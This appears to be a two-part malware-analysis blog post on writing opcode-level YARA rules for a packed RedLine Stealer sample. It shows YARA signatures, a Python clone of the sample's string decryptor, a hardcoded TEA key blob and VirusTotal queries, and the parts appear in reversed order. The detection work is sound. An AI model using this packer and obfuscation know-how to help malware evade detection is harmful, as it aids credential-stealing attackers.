Once inside sub_402F00, the shape is unmistakable. Shifts. XORs. Adds. The same variables being mixed again and again. A constant-looking shift count (v10 = 5) driving repetitive work. It reads like a block-mixing routine because that’s what it is: the kind of tight arithmetic loop packers love because it’s small, fast, and doesn’t need any strings to function.

That’s where “TEA-like” stops being a vibe and becomes structure. The routine doesn’t need to be a perfect textbook implementation to give itself away—the round posture is there: repeated mixing, XOR chaining, shift-heavy math, and a consistent 8-byte block stride. TEA-family logic can exist in clean software too, but in a packed loader pipeline like this, it’s not decoration. It’s the engine.

Figure 12. Inside sub_402F00, the decryption shows its shape—shift/XOR/add mixing repeated in tight rounds, the kind of math loop packers can’t hide behind.

Then the constant shows up.

0x9E3779B9.

That number isn’t random filler. It’s one of those crypto fingerprints that refuses to stay quiet—the golden ratio constant used across TEA-style designs. The moment it appears alongside the shift/XOR mixing pattern, the routine stops being “maybe decryption” and becomes extremely specific. Strings can disappear. Imports can be reshuffled. Junk APIs can be sprayed everywhere. But the math still has to work, and constants like this tend to survive rebuilds untouched. So the decryption logic isn’t hiding in some giant function with a friendly name.

Figure 13. sub_402F00 hardcodes 0x9E3779B9—the TEA/XTEA “golden ratio” constant that quietly fingerprints the decryptor.

Figure 14. A quick search maps 0x9E3779B9 back to TEA—the golden ratio constant that gives the loop away.

At that point, verification becomes boring—in a good way. The same constant and mixing shape shows up cleanly in public TEA reference code (for example, the implementation in tea.c here – https://github.com/coderarjob/tea-c/blob/master/tea.c). And if the goal is to sanity-check fast instead of debating patterns by eye, tools like FindCrypt can do the constant-hunting automatically—findcrypt.py will label common crypto constants and point straight at the routine addresses it matches.

Figure 15. A public TEA reference (tea.c) shows the same 0x9E3779B9 delta and shift/XOR mixing pattern

But that familiarity is exactly the trap. TEA-style loops aren’t rare, and writing a detection rule around “TEA exists” is the fastest way to gift yourself false positives. So the focus shifts to what isn’t generic: the custom glue around the algorithm—especially the parts the author had to choose. In this case, that means the key material and the way it’s staged and referenced. The algorithm can be common. The key almost never is.

sub_4030E0 is renamed to TEA_ProcessBuffer_8ByteBlocks, and sub_402F00 is renamed to TEA_LikeDecryptBlock to reflect the TEA-style decryption flow.

Identifying the Key

Once you’ve seen 0x9E3779B9 sitting inside a 32-round shift/XOR/add loop, the algorithm stops being a debate. It’s TEA-family math. Close enough that the function could change clothes, switch variable names, sprinkle junk calls, and still keep the same posture.

But that’s also where the real problem starts.

Because detecting “TEA exists” is worthless on its own. TEA-like loops show up in clean software, in academic code, in legitimate packers, and in every copy-paste loader written by someone who spent ten minutes on GitHub. The algorithm is reusable. The implementation pattern is reusable.

The key isn’t.

And that’s the shift: once the decryptor is identified, the next thing you hunt is the part the author actually had to choose.

The key isn’t passed in. It’s baked into globals.

Textbook TEA hands you a clean uint32_t k[4]. This sample doesn’t. It hides the key material where analysts hate looking: globals that feel like boring state.

Figure 16. The decryptor loads its 4-DWORD key straight from global memory (dword_425CA8/425CAC/425CB0/425CB4)—the moment the routine stops looking generic and starts revealing the fingerprint behind the TEA-style loop.

Right at the top of the routine you can see the four values getting pulled in:

dword_425CA8

dword_425CAC

dword_425CB0

dword_425CB4

They get loaded into working variables once, then used repeatedly inside the round logic.

Figure 17. Inside the round loop, the decryptor starts mixing the renamed key variables (v2, v13, v16, v15 → Key_Dword0–Key_Dword3) into the shift/XOR/add math that drives each 8-byte block transformation.

Once those four values are found, everything gets simpler.

You don’t need to obsess over whether the implementation is TEA, XTEA, “TEA-ish,” or a custom remix. That argument dies the moment you realize you’re not trying to detect crypto.

You’re trying to detect ownership.

And keys are ownership.

Most samples can borrow an algorithm. Most samples don’t share the same 128-bit key schedule sitting in .data.

Figure 18. Four hardcoded DWORDs in .data (dword_425CA8–425CB4)—the key material the decryptor is built around.

Writing the YARA Rule

import "pe"

rule PackedStub_TEA_KeyMaterial_4DWORD_ShiftMixer_v3_proximity_fixed3
{
  meta:
    description   = "Demo-only: opcode-level YARA rule for detecting a TEA-like decryptor stub using embedded 4-DWORD key material + TEA delta + TEA-style shift mixer (with proximity window)"
    author        = "AdversaryCraft"
    sample_sha256 = "0b416446c098203de4b550714e69a2715ed1c2127a4db54f3d46b47cd2d9a2be"
    note          = "Illustrates decryptor's key-centric detection when plaintext strings are absent (not production-ready)"

  strings:

    /*
      ===== KEY MATERIAL (4 DWORDs, little-endian) =====
      Bytes                                            Meaning
      ------------------------------------------------------------
      16 85 9E 04                                      k0 = 0x049E8516
      DF 08 EB C1                                      k1 = 0xC1EB08DF
      38 39 CE 43                                      k2 = 0x43CE3938
      86 D2 0F 8D                                      k3 = 0x8D0FD286

      Full 16-byte blob (contiguous):
      16 85 9E 04 DF 08 EB C1 38 39 CE 43 86 D2 0F 8D
    */
    $keyblob = { 16 85 9E 04 DF 08 EB C1 38 39 CE 43 86 D2 0F 8D }

    /*
      ===== TEA DELTA =====
      Bytes                            Disassembly / Meaning
      ------------------------------------------------------------
      B9 79 37 9E                      0x9E3779B9 (little-endian)
    */
    $delta = { B9 79 37 9E }

    /*
      ===== TEA-LIKE SHIFT MIXER HINTS (opcode-only) =====
      TEA/XTEA round mixing commonly includes:
        (v << 4) and (v >> 5)

      We enumerate the concrete encodings for:
        shl r32, 4   => C1 E? 04   (reg varies)
        shr r32, 5   => C1 E? 05   (reg varies)

      Bytes                            Disassembly
      ------------------------------------------------------------
      C1 E0 04                         shl eax, 4
      C1 E1 04                         shl ecx, 4
      C1 E2 04                         shl edx, 4
      C1 E3 04                         shl ebx, 4
      C1 E4 04                         shl esp, 4
      C1 E5 04                         shl ebp, 4
      C1 E6 04                         shl esi, 4
      C1 E7 04                         shl edi, 4

      C1 E8 05                         shr eax, 5
      C1 E9 05                         shr ecx, 5
      C1 EA 05                         shr edx, 5
      C1 EB 05                         shr ebx, 5
      C1 EC 05                         shr esp, 5
      C1 ED 05                         shr ebp, 5
      C1 EE 05                         shr esi, 5
      C1 EF 05                         shr edi, 5
    */
    $shl4_0 = { C1 E0 04 }  $shl4_1 = { C1 E1 04 }
    $shl4_2 = { C1 E2 04 }  $shl4_3 = { C1 E3 04 }
    $shl4_4 = { C1 E4 04 }  $shl4_5 = { C1 E5 04 }
    $shl4_6 = { C1 E6 04 }  $shl4_7 = { C1 E7 04 }

    $shr5_0 = { C1 E8 05 }  $shr5_1 = { C1 E9 05 }
    $shr5_2 = { C1 EA 05 }  $shr5_3 = { C1 EB 05 }
    $shr5_4 = { C1 EC 05 }  $shr5_5 = { C1 ED 05 }
    $shr5_6 = { C1 EE 05 }  $shr5_7 = { C1 EF 05 }

  condition:

    pe.is_pe and
    pe.machine == pe.MACHINE_I386 and
    filesize < 2000KB and

    // Strong anchors: unique key blob + TEA delta
    $keyblob and $delta and

    // Must see at least one (v<<4) and one (v>>5) style shift
    (1 of ($shl4_*)) and
    (1 of ($shr5_*)) and

    // Proximity: require shifts to occur near the delta (delta ± 0x400 bytes)
    (
      for any of ($shl4_*) : (
        @ >= (@delta - 0x400) and @ <= (@delta + 0x400)
      )
    ) and
    (
      for any of ($shr5_*) : (
        @ >= (@delta - 0x400) and @ <= (@delta + 0x400)
      )
    )
}

Figure 19. YARA rule detecting the TEA-like decryptor stub via embedded key material, delta constant, and shift/mix opcode patterns (left/right shifts).

Let’s look at how this TEA-stub rule is structured. It’s not trying to fingerprint a whole function end-to-end. It’s doing something more practical: pinning down the few things a TEA-like decryptor can’t hide without rewriting itself. This rule is built around three deliberate checkpoints:
1) The embedded 16-byte key blob
2) The TEA delta constant (0x9E3779B9)
3) The shift-mixer fingerprints (<<4 and >>5) — with a proximity window so the shifts aren’t “anywhere in the binary”, they’re near the crypto logic

That’s the difference between a rule that “matches something with bitshifts” and a rule that matches a decryptor.

$keyblob (the real identity)

The strongest anchor in this rule is the key material.
16 85 9E 04 DF 08 EB C1 38 39 CE 43 86 D2 0F 8D
Those are not “random bytes” in the file. In the context of TEA-style routines, this is the part that matters most: the key is the author’s fingerprint. TEA/XTEA as algorithms are boring — they exist everywhere. But this specific key does not. That’s why the rule doesn’t just match $k0 $k1 $k2 $k3 individually — it matches them as one contiguous $keyblob. Contiguity matters because it reduces accidental collisions and makes it harder for trivial re-ordering to bypass. If the decryptor is recompiled, the stack frame changes. If the decryptor is optimized, registers change. But that key blob? It usually stays exactly the same unless the operator rotates it. So in practice: $keyblob is your “who”.

$delta (the TEA tell)

TEA-like mixing almost always drags the delta constant into the routine:
B9 79 37 9E => 0x9E3779B9 (little endian)
This delta is a recognizable artifact of the TEA family. It’s not “proof” by itself — constants can appear anywhere — but when it’s present alongside a hardcoded 16-byte key it stops being random and starts being intent. That’s why this rule treats $delta as a required anchor rather than a bonus string.
In practice: $delta is your “what family”.

$shl4_* and $shr5_* (the mixer shape)

TEA mixing patterns commonly use:
(v << 4) (v >> 5)
That exact “4 and 5” pairing shows up so often that it becomes a shape, not just an instruction.
But here’s the nuance – If we only matched C1 E0 04 (shl eax,4) and C1 EE 05 (shr esi,5), it would be brittle. Different builds choose different registers.

So the rule expands that into register-agnostic families:
C1 E? 04 for shl r32,4
C1 E? 05 for shr r32,5
That’s why you see $shl4_0 .. $shl4_7 and $shr5_0 .. $shr5_7. Same intent. Different register choices. Still caught. In practice: the shifts are your “how it mixes”.

Proximity window (where the rule becomes “crypto-aware”)

This is the part that upgrades it from “pattern matching” to “context matching”. The rule doesn’t just require:
one shl ?,4
one shr ?,5
It requires that these shifts occur near the delta constant:
@delta ± 0x400 bytes
That constraint is doing a lot of heavy lifting, because without it those bitshifts could be coming from hash routines, bitfield parsing, bitmap operations, compression, UI rendering code—basically anything. But when the shifts show up close to TEA delta, it strongly suggests you’re looking at the TEA-like round logic area, not random code elsewhere. This is what keeps the rule behavioral, not accidental.

Testing the Rule

Before this rule goes anywhere near a real scan, the first check is always noise: does it light up on clean software? The quickest sanity pass is a VirusTotal grep-style sweep using the hard anchors from the rule — the 16-byte key blob, the TEA delta (0x9E3779B9), and the TEA-like shift mixer hints (shl 4 / shr 5). If the search stays quiet (positives: 0 or close), it’s a strong sign the pattern isn’t just matching generic compiler output.

After that, testing moves to Retrohunt (same workflow as Part 1): run the rule against a goodware-biased corpus for restraint, then against the default corpus to see whether it surfaces related binaries.

We’ll stop here for now. Part 3 will look at what happens when imports disappear too — API names replaced with hashing routines, and everything resolved at runtime just to stay unreadable.

References

TEA C Implementation – https://github.com/coderarjob/tea-c

YARA Documentation – https://yara.readthedocs.io/en/latest/

VirusShare – https://virusshare.com/

Author: Valli-Nayagam Chokkalingam

Most YARA rules start with strings. This post looks at what’s left when strings disappear—and how detection shifts closer to execution itself.

The focus here is on how YARA rules are reasoned about, not to provide production-ready signatures or drop-in detection rules.

Contents

What YARA Is (and What It Isn’t)

YARA is a pattern-matching tool. It scans data — files, memory regions, or raw byte streams — and checks whether specific patterns are present. Those patterns are defined explicitly by the analyst. There’s no inference, no behavior tracking, and no execution context unless you deliberately build it into the rule.

That simplicity is both the strength and the limitation. YARA works well when something stable exists to anchor on: reused code, recognizable strings, or consistent structures. Where it struggles is when those artifacts are deliberately minimized, transformed, or never exist in a static form at all. Understanding YARA starts with accepting that boundary. It’s not a behavioral detector — it’s a lens, and everything that follows depends on what remains visible through it.

rule Demo_RansomNote_Strings
{
meta:
description = "Demo-only: simple string-based detection using ransom note text"
author = "AdversaryCraft"
sample_sha256 = "074b50b35783a0607862126903837b60c8a7f875f91a1f414bb7d11713c7aa1d"
note = "Illustrates classic ransom-note string matching (not production-ready)"

strings:
$r1 = "your files have been encrypted" nocase ascii wide
$r2 = "decrypt all your files" nocase ascii wide
$r3 = "how to recover" nocase ascii wide
$r4 = "contact us" nocase ascii wide
$r5 = "bitcoin" nocase ascii wide

condition:
uint16(0) == 0x5A4D and
3 of ($r*)
}

Figure 1. A simple string-based YARA rule relying on recognizable ransom note text, illustrating the traditional starting point for static detection.

Where String-Based Detection Starts to Fail

Figure 1 shows a familiar starting point: a YARA rule built around plaintext ransom note strings. This approach works when those strings exist in a form that can be scanned on disk. Many samples still fit that model, which is why string-based rules remain common and often effective.

The problem is that those strings are also the easiest thing to remove. Packing alone is enough to make them disappear from static analysis. Even without a full packer, simple string encryption, runtime decoding, or stack-based construction is sufficient to break disk-level matching. Once the binary no longer carries readable text, the rule has nothing to anchor on.

The same applies to imports. When APIs are resolved dynamically—through hashing or manual lookup—the import address table no longer reflects what the program will actually call. From a static scanner’s perspective, both the strings and the intent are gone, even though execution behavior remains unchanged.

In-memory scanning can recover some of that visibility, but it comes with tradeoffs. Memory-wide YARA scans are expensive, noisy, and difficult to run continuously at scale. They also depend on timing: the artifact has to exist in memory long enough to be seen. Short-lived decoding routines or transient strings can still slip through.

At that point, the limitation isn’t YARA itself. It’s the assumption that detection starts with readable artifacts. As soon as those artifacts stop existing on disk, string-based detection stops being a reliable first step.

Figure 2. Comparison of an unpacked and packed Hello World executable, showing how simple packing is enough to remove readable string artifacts from disk.

From Source Code to Opcodes

Source code is written for people. It explains intent, names things clearly, and makes sense at a glance. None of that is what actually runs. Once the compiler is done, the program exists only as instructions the CPU can execute.

Figure 3 shows that shift in a very simple way. A small Hello World program in C is easy to follow at the source level. After compilation, that view disappears. What remains is assembly: individual instructions that tell the processor exactly what to do—move data, prepare arguments, call a function, return control.

At that level, everything is reduced to opcodes and operands. The opcode is the instruction itself—move this, call that, jump here. The operands are the values or locations the instruction works on: registers, memory addresses, constants. Together, they form the instruction stream the CPU steps through one operation at a time.

Strings tend to stand out during analysis because they’re readable, but they’re not essential. They’re just data sitting alongside the code. The instruction stream is different. Whether a binary is packed, encrypted, or stripped down, those opcodes still have to execute to make anything happen.

That’s the layer that survives. When readable artifacts fade away, execution doesn’t. What’s left is the flow of instructions—opcodes acting on operands—that carries the program forward, regardless of how much effort went into hiding everything else.

Figure 3. A simple C Hello World program alongside its compiled assembly, illustrating how readable source code is reduced to executable instructions.

Looking Closer at the Instruction Bytes

We’ll stick to the first three instructions that run inside main from the Hello World example in Figure 3. Not the whole function. Just where execution actually starts. Each one is pulled out on its own in Figures 4, 5, and 6.

By this point, there’s no source code left. No structure to lean on. The CPU is just walking bytes. Each instruction is a short sequence, read as a unit, then executed. That’s it.

48 83 EC 28          sub rsp, 28h

Figure 4. The first instruction executed inside main, adjusting the stack pointer to establish a usable stack frame.

This instruction exists to move the stack pointer.

48 is the prefix that makes this a 64-bit operation. Without it, rsp wouldn’t be involved at all.

83 selects a subtraction that uses a small constant.

EC is where the target register is encoded. In this case, it resolves to rsp.

28 is the value. 0x28 gets subtracted from the stack pointer.

No locals. No memory access. Just the stack pointer being nudged into place so the function can run.

48 8D 0D D5 11 00 00    lea rcx, Format

Figure 5. An instruction computing the address of the string and placing it into a register for use as a function argument.

This one prepares the argument for the call that follows.

Same 48 prefix. Same 64-bit context.

8D marks this instruction as lea. That matters. Nothing is being read here. Only the address of the string “Hello World!\n” is loaded into rcx.

0D encodes the destination register and the addressing mode. rcx, RIP-relative. The remaining bytes form the displacement. Added to the instruction pointer, they land on the string “Hello World!\n“.

The string itself isn’t touched. Only the address ends up in rcx. That’s enough.

E8 90 FF FF FF       call sub_140001010

Figure 6. A relative call instruction transferring execution to another routine without relying on symbols or absolute addresses.

This is the handoff.

E8 identifies the instruction as a call.

The bytes after it are just an offset. Signed. Relative. No absolute address anywhere.

At runtime, the CPU adds that offset to the current instruction pointer and jumps. A return address gets pushed. Execution continues within the function sub_140001010 which is responsible for printing the string to the console.

What Detection Anchors On When Artifacts Are Gone

When strings stop being reliable, the remaining signals come from execution itself. Code still has to unpack, decrypt, or resolve what it needs before it can do anything useful. That work leaves structure behind, even when everything else is stripped away.

Figure 7 groups those structures into a few broad buckets—custom packers, known algorithms, and hashing logic—before we step through each one individually.

Figure 7. Detection patterns that persist after strings disappear.

Custom Packer Logic: String Decryption Rule

For this post, I’m using a RedLine Stealer sample from VirusShare.
SHA-256: 00da14d8bbe2c85a04314b0ac40c13ebb67fe6693af8e786e63a2c6f6a428b00.

Opening the sample in Detect It Easy, the overall picture becomes clear almost immediately. The binary identifies as a standard PE32, built with Visual C++, but that familiarity stops there. The heuristic flags tell the real story: compressed or packed data, elevated entropy, and a resource section doing more work than it should. There’s even a loose heuristic hint toward .NET Reactor–like behavior, but with no managed metadata to back it up—just import patterns that resemble what Reactor-protected samples often expose, making it a cue to dig deeper rather than a conclusion to trust. At best, this suggests some custom, Reactor-inspired techniques in play rather than a clean, off-the-shelf protector.

Figure 8. The file presents as a packed PE—high entropy, compressed resources, and little else to work with.

The entropy view reinforces that suspicion. The PE header and a couple of standard sections sit where you’d expect them, with relatively low entropy. But both the .text section and, more noticeably, the .rsrc section spike sharply. The resource section in particular stays near the upper end of the scale across its entire range—consistent with compressed or encrypted content rather than icons, dialogs, or version metadata. Whatever this binary is carrying, it isn’t meant to be readable on disk.

Figure 9. .text carries more entropy than expected, alongside a dense .rsrc, pointing to logic and data deliberately blurred at rest.

That expectation carries over into the strings view. Scanning the binary surfaces almost nothing of value. There are no configuration strings, no URLs, no user-facing messages, no obvious markers that could anchor a meaningful signature. What does appear are a small set of import-related API names—exactly the strings the Windows loader requires to resolve imports at runtime. Everything else is either short, high-entropy fragments or completely nonsensical output from the packed data. From a static perspective, the binary offers no stable plaintext indicators beyond what’s structurally unavoidable.

Figure 10. The strings view offers little beyond imported API names; everything else is noise or encrypted.

With static inspection tapped out in Detect It Easy, the next step is obvious: load the binary into IDA and follow execution instead of artifacts. Right at the top of main, before anything meaningful happens, execution funnels into sub_401650. That function runs immediately, reconstructing data byte-by-byte and handing the result back to the caller. In the debugger, the payoff is clear—the decrypted output resolves to Cor_Enable_Profiling, a string that never appears in plaintext on disk.

Figure 12. Execution drops straight into sub_401650 at the very start of main.

Figure 13. Stepping through the code shows the same routine decrypting data in memory at runtime, confirming the strings never exist in plaintext on disk

That placement matters. A decryption routine sitting at the very start of main isn’t incidental—it’s foundational. At this point, the question stops being what strings exist and shifts to how they’re being rebuilt, and what that reconstruction logic looks like under the hood.

Looking deeper into sub_401650, it’s immediately clear what this isn’t. There’s no key schedule, no state array, no rounds, no diffusion step that even vaguely resembles RC4, AES, or any standard algorithm. Nothing is iterated. Nothing evolves. Each byte is touched once, transformed, and discarded.

The logic is blunt and handcrafted. A fixed 32-byte buffer goes in. A fixed sequence of XORs and a single NOT is applied. The constants are embedded directly in the instruction stream—no derivation, no reuse, no abstraction.

That custom shape is exactly what gives the routine its detection value. Even when strings disappear, this logic remains stable and specific to the sample, making it a strong candidate for a YARA rule anchored in opcode.

Figure 14. sub_401650 performing fixed, byte-by-byte decryption using hard-coded constants—custom logic, not a standard cipher.

Figure 15. Cross-references show sub_401650 called repeatedly, decrypting multiple embedded strings across main.

#!/usr/bin/env python3
import sys


def sub_401650(a1: bytes) -> bytes:
    # fixed-size decoder, mirrors the decompile byte-for-byte
    if len(a1) < 32:
        raise ValueError("expected at least 32 bytes")

    out = bytearray(32)

    out[0]  = (a1[0]  ^ 0xA3) & 0xFF
    out[1]  = (a1[1]  ^ 0x54) & 0xFF
    out[2]  = (~a1[2]) & 0xFF
    out[3]  = (a1[3]  ^ 0x75) & 0xFF
    out[4]  = (a1[4]  ^ 0xE7) & 0xFF
    out[5]  = (a1[5]  ^ 0x44) & 0xFF
    out[6]  = (a1[6]  ^ 0x4B) & 0xFF
    out[7]  = (a1[7]  ^ 0x23) & 0xFF
    out[8]  = (a1[8]  ^ 0xBF) & 0xFF
    out[9]  = (a1[9]  ^ 0x45) & 0xFF
    out[10] = (a1[10] ^ 0x3B) & 0xFF
    out[11] = (a1[11] ^ 0x56) & 0xFF
    out[12] = (a1[12] ^ 0xF8) & 0xFF
    out[13] = (a1[13] ^ 0x98) & 0xFF
    out[14] = (a1[14] ^ 0x5B) & 0xFF
    out[15] = (a1[15] ^ 0xF4) & 0xFF
    out[16] = (a1[16] ^ 0xB5) & 0xFF
    out[17] = (a1[17] ^ 0x87) & 0xFF
    out[18] = (a1[18] ^ 0x7B) & 0xFF
    out[19] = (a1[19] ^ 0x0F) & 0xFF
    out[20] = (a1[20] ^ 0xF4) & 0xFF
    out[21] = (a1[21] ^ 0x76) & 0xFF
    out[22] = (a1[22] ^ 0xB9) & 0xFF
    out[23] = (a1[23] ^ 0x34) & 0xFF
    out[24] = (a1[24] ^ 0xBF) & 0xFF
    out[25] = (a1[25] ^ 0x1E) & 0xFF
    out[26] = (a1[26] ^ 0xE7) & 0xFF
    out[27] = (a1[27] ^ 0x78) & 0xFF
    out[28] = (a1[28] ^ 0x98) & 0xFF
    out[29] = (a1[29] ^ 0xE9) & 0xFF
    out[30] = (a1[30] ^ 0x6F) & 0xFF
    out[31] = (a1[31] ^ 0xB4) & 0xFF

    return bytes(out)


def main():
    if len(sys.argv) != 2:
        print(f"{sys.argv[0]} <hex-bytes-file>")
        sys.exit(1)

    with open(sys.argv[1], "r") as f:
        hex_text = f.read()

    a1 = bytes.fromhex(hex_text)
    decoded = sub_401650(a1)

    # trim null padding; print whatever survives
    try:
        print(decoded.rstrip(b"\x00").decode("ascii"))
    except UnicodeDecodeError:
        print(decoded.hex())


if __name__ == "__main__":
    main()

Figure 16. Direct Python clone of sub_401650 for string decryption.

Finding a distinctive routine is only the first step. Once sub_401650 stands out as something worth anchoring on, the next question is restraint. A good rule doesn’t just match—it knows when not to. You don’t want this logic firing on clean binaries that happen to use a few XORs, and you don’t want it so narrow that it misses sibling samples built by the same actor. The goal is balance: tight enough to avoid noise, loose enough to catch the family and its close variants that reuse the same string-hiding approach.

That’s also where performance starts to matter. YARA doesn’t run in a vacuum. In production, every rule competes for CPU time, memory, and scan budget. The more work a rule does, the more selective it needs to be about when that work runs. This is why a raw code pattern is rarely left alone. You layer it with cheap filters first—file size bounds, PE characteristics, section counts, presence or absence of a security directory, even coarse-grained signals like import hash or compiler fingerprints. You can narrow further by checking how execution begins: whether main follows a familiar setup before decryption kicks in, or whether certain code bytes consistently appear just ahead of the routine.
All of that isn’t about weakening the detection. It’s about shaping it. The decryption logic remains the core signal, but everything around it helps decide when that signal is worth evaluating. That’s how a rule moves from “interesting” to usable—specific enough to matter, efficient enough to survive real-world scanning.

For this post, though, that full tuning exercise stays out of scope. The focus here isn’t on squeezing every last microsecond out of a production rule or debating scan-time tradeoffs. It’s about understanding what makes a piece of code worth anchoring on in the first place, before performance and deployment concerns enter the picture.

The next step, then, is to get closer to the bytes themselves. To do that, you need to look past pseudocode and into the actual opcode stream. In IDA, that means switching on opcode bytes in the disassembly view—so each instruction shows not just what it does, but how it’s encoded. That’s the level YARA ultimately reasons about. Once those bytes are visible, the decryption routine stops being an abstract idea and becomes a concrete sequence you can measure, compare, and eventually express as a rule.

Figure 17. Opcode bytes exposed beside each instruction — the raw material for YARA beyond strings.

import "pe"

rule Custom_Sub401650_XorNot32_OpcodeOnly_v2
{
  meta:
    description   = "Demo-only: opcode-level YARA rule for detecting a RedLine Stealer string decryptor routine"
    author  = "AdversaryCraft"
    sample_sha256 = "00da14d8bbe2c85a04314b0ac40c13ebb67fe6693af8e786e63a2c6f6a428b00"
    note = "Illustrates decryptor-centric detection when plaintext strings are absent   (not production-ready)"

  strings:

    /*
      ===== HEAD ANCHOR =====
      Bytes                            Disassembly
      ------------------------------------------------------------
      83 EC 24                         sub     esp, 24h
      56                               push    esi
      8B 44 24 2C                      mov     eax, [esp+2Ch]
      0F B6 08                         movzx   ecx, byte ptr [eax]
      0F B6 50 01                      movzx   edx, byte ptr [eax+1]
      80 F1 A3                         xor     cl, 0A3h
      80 F2 54                         xor     dl, 54h
      88 4C 24 ??                      mov     [esp+..], cl
      0F B6 48 02                      movzx   ecx, byte ptr [eax+2]
      88 54 24 ??                      mov     [esp+..], dl
      0F B6 50 03                      movzx   edx, byte ptr [eax+3]
      F6 D1                            not     cl
      80 F2 75                         xor     dl, 75h
    */
    $head = {
      83 EC 24
      56
      8B 44 24 2C
      0F B6 08
      0F B6 50 01
      80 F1 A3
      80 F2 54
      88 4C 24 ??
      0F B6 48 02
      88 54 24 ??
      0F B6 50 03
      F6 D1
      80 F2 75
    }

    /*
      ===== MID CORROBORATORS =====
      Bytes                            Disassembly
      ------------------------------------------------------------
      80 F1 B5                         xor     cl, 0B5h
      80 F2 87                         xor     dl, 87h

      80 F1 7B                         xor     cl, 7Bh
      80 F2 0F                         xor     dl, 0Fh
    */
    $m1 = { 80 F1 B5 80 F2 87 }
    $m2 = { 80 F1 7B 80 F2 0F }

    /*
      ===== TAIL ANCHOR =====
      Bytes                            Disassembly
      ------------------------------------------------------------
      6A 20                            push    20h
      8D 44 24 ??                      lea     eax, [esp+..]
      50                               push    eax
      80 F1 6F                         xor     cl, 6Fh
      80 F2 B4                         xor     dl, 0B4h
      56                               push    esi
      88 4C 24 ??                      mov     [esp+..], cl
      88 54 24 ??                      mov     [esp+..], dl
      C6 44 24 ?? 00                   mov     byte ptr [esp+..], 0
      E8 ?? ?? ?? ??                   call    memcpy
      83 C4 0C                         add     esp, 0Ch
      8B C6                            mov     eax, esi
      5E                               pop     esi
      83 C4 24                         add     esp, 24h
      C3                               retn
    */
    $tail = {
      6A 20
      8D 44 24 ??
      50
      80 F1 6F
      80 F2 B4
      56
      88 4C 24 ??
      88 54 24 ??
      C6 44 24 ?? 00
      E8 ?? ?? ?? ??
      83 C4 0C
      8B C6
      5E
      83 C4 24
      C3
    }

  condition:

    pe.is_pe and
    pe.machine == pe.MACHINE_I386 and
    filesize < 2000KB and

    $head and $tail and $m1 and $m2
}

Figure 18. Sample YARA rule illustrating opcode-level detection of a custom string decryptor routine

Let’s look at how the rule is structured. The logic isn’t spread evenly across the function—it’s anchored around a few deliberate checkpoints. We’ll walk through the $head, $m1, $m2 and $tail sequences in turn, and why each one was chosen to represent intent rather than incidental compiler noise. We’ll also unpack the use of ?? wildcards—where flexibility is intentional, and where the bytes matter enough that they’re locked down.

$head

The opening bytes are not interesting because they set up a stack frame—they’re interesting because of what follows immediately after. The routine pulls a pointer from the stack and starts reading one byte at a time using movzx. That’s the first signal: byte-wise handling, not block crypto.

The paired XORs with hardcoded constants (A3, 54) matter because they’re embedded directly into the instruction stream. There’s no key material, no loop-driven derivation, no state carried forward. Each byte is treated in isolation. The single not cl stands out even more. Mixing a NOT into an otherwise XOR-only flow is uncommon and gives this routine a shape that’s easy to recognize and hard to accidentally reproduce.

$m1 & $m2

Instead of matching every transformation, the rule samples a few XOR pairs from the middle of the routine. Constants like B5/87 and 7B/0F aren’t special in a cryptographic sense—they’re special because they’re arbitrary. They exist only because the author chose them.

Requiring multiple such pairs makes the rule resilient. One XOR constant could collide with benign code. Several, in a fixed order, almost never do. This keeps the rule wide enough to catch variants using the same routine, but narrow enough to avoid random matches.

$tail

The tail tells you what kind of function this is. push 20h fixes the output length at 32 bytes. The stack-based buffer, explicit null termination, and the call to memcpy leave little ambiguity about the goal – something opaque goes in & a usable string comes out. The cleanup and return simply end the function.

?? wildcards

Offsets, stack layout, and call targets shift between builds. You wildcard those and keep what reflects intent: constants, instruction order, and data flow. That’s how you avoid brittle, one-sample rules.

Testing the Rule: From Grep to Retro Hunt

Before I let this anywhere near a real scan, I want one boring answer: does it light up on clean software? Opcode-level rules can be sharp, but they can also turn generic fast if you accidentally anchor on common compiler output.

So the first pass is intentionally crude. A grep-style content search on VirusTotal over the byte windows I actually care about:

type:peexe
content:{83 ec 24 56 8b 44 24 2c 0f b6 08 0f b6 50 01 80 f1 a3 80 f2 54 88 4c 24 ?? 0f b6 48 02 88 54 24 ?? 0f b6 50 03 f6 d1 80 f2 75}
content:{80 f1 b5 80 f2 87}
content:{80 f1 7b 80 f2 0f}
content:{6a 20 8d 44 24 ?? 50 80 f1 6f 80 f2 b4 56 88 4C 24}
positives:0

Figure 19. A quick VT grep-style sweep over the opcode anchors to sanity-check noise—zero/few hits on clean PE files is exactly the signal you want before moving forward.

A result like positives: 0 is exactly what you want at this stage. It doesn’t prove the rule is “correct,” but it does tell you something important: these anchors aren’t just matching random compiler soup across benign PE files. If this search came back with dozens or hundreds of hits, that’s an immediate red flag—the pattern is too loose, or you latched onto something common.

Only if the search hits a very small number of clean files does hardening even enter the picture. At that point, the goal isn’t to pile on more opcode bytes. Bytes are expensive—every extra pattern makes the rule more brittle and more sample-specific. Good hardening reduces false positives without collapsing the rule into a single hash.

A few practical knobs that usually help when refinement is actually needed:

File size gates. Packers and small loaders tend to live in narrow size bands. A simple filesize < X or bounded range can drop noise fast.

Structurally unavoidable strings. If the only plaintext left is import-related API names, use that. Even lightweight checks for things like FindResource, LoadResource, SizeofResource, VirtualProtect, or WriteProcessMemory can separate loaders from normal applications without relying on missing config strings.

Section-scoped scanning. Don’t hunt these bytes across the entire file. Restricting matches to .text section avoids coincidences in overlays or high-entropy resource blobs.

Location constraints. If the routine consistently appears near the start of .text or within a tight window relative to the entry point, encode that habit. You’re not looking for “anywhere in the binary.”

PE shape hints. Section count, section sizes, presence or absence of a security directory—none of these are signatures on their own, but they make excellent tie-breakers.

Figure 20. VirusTotal Livehunt Retrohunt editor for authoring YARA rules and running historical hunts across selected corpora and time ranges. Source: docs.virustotal.com

When the grep finally stays quiet, the rule graduates to its real exam: Retrohunt. But it doesn’t run just once. The exact same YARA is executed twice, against two very different populations. The first run goes against a goodware-biased corpus, where the only thing you’re testing is restraint—does the rule remain silent in a world full of installers, signed binaries, and boring software that just does its job? The second run goes against VirusTotal’s default corpus, where the noise returns and the question flips. Now you’re looking to see what else lights up. Not clones of your sample, but binaries that carry the same decryptor logic buried under different skins. At this stage, you’re no longer asking whether the rule works. You’re asking whether it understands the behavior it’s trying to describe.

